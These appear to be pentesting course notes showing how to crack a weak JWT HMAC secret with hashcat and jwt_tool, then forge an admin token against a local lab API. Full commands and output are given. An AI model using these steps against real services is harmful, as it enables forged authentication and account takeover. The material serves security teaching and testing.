Weak Signature

The below example is based on TCM's Practical API Hacking course.

List with well-known secrets: jwt.secrets.list.

# Logging in with valid creds
$ curl -X POST http://localhost/login -H 'Content-Type: application/json' --data '{"username":"user","password":"user"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM"}

# Brute forcing the secret
hashcat -a0 -m16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM /usr/share/wordlists/rockyou
<SNIP>
eyJ...<SNIP>...CDM:ucyxu6
<SNIP>

# We can also crack the JWT secret with jwt_tool
$ jwt_tool -C -d /usr/share/wordlists/rockyou 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ==.BmzWWVFXmJsqH7K9dTxCyCopRB0HHFvCYKCfwW+8We4='

Original JWT:

[+] coffee is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "coffee"

Hashcat signs the header and payload from the JWT using each wordlist secret and compares the resulting signature with the original one (16500).

Figure 1: Tampering with the JWT's userid claim.
# Testing the token
$ curl -i http://localhost/dashboard -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTcxOTI5NTEwOX0.py2v7_Kqtexh4Cq8hqBdEV8wiCr8p6x9eeZFNGlKW4U'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 45
ETag: W/"2d-bqbMS3LH08+zkhZI3cPwYShjqaE"
Date: Tue, 25 Jun 2024 06:09:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Welcome to your dashboard admin"}

We can also tamper the required claims using jwt_tool.

# Tampering with the JWT
$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJ1c2VyIiwiaWF0IjoxNzE5Mjk1MTA5fQ.aUlvUvP4XbodwpBalrS-1t70Sqx7FxQCvBrmwT8oCDM -T -S hs256 -p 'ucyxu6'

Original JWT:

====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] userid = "user"
[2] iat = 1719295109    ==> TIMESTAMP = 2024-06-25 06:58:29 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of userid is: user
Please enter new value and hit ENTER
> admin
[1] userid = "admin"
[2] iat = 1719295109    ==> TIMESTAMP = 2024-06-25 06:58:29 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
jwttool_8043cf61f00c28f7a057cdc20df41290 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTcxOTI5NTEwOX0.py2v7_Kqtexh4Cq8hqBdEV8wiCr8p6x9eeZFNGlKW4U

We can also tamper the JWT's claim using the Burp's JWT Editor extension (Figure 2).

The below example is base on PortSwigger's JWT attacks module.

Figure 2: JWT tampering with Burp's JWT Editor extension.

Last updated

Was this helpful?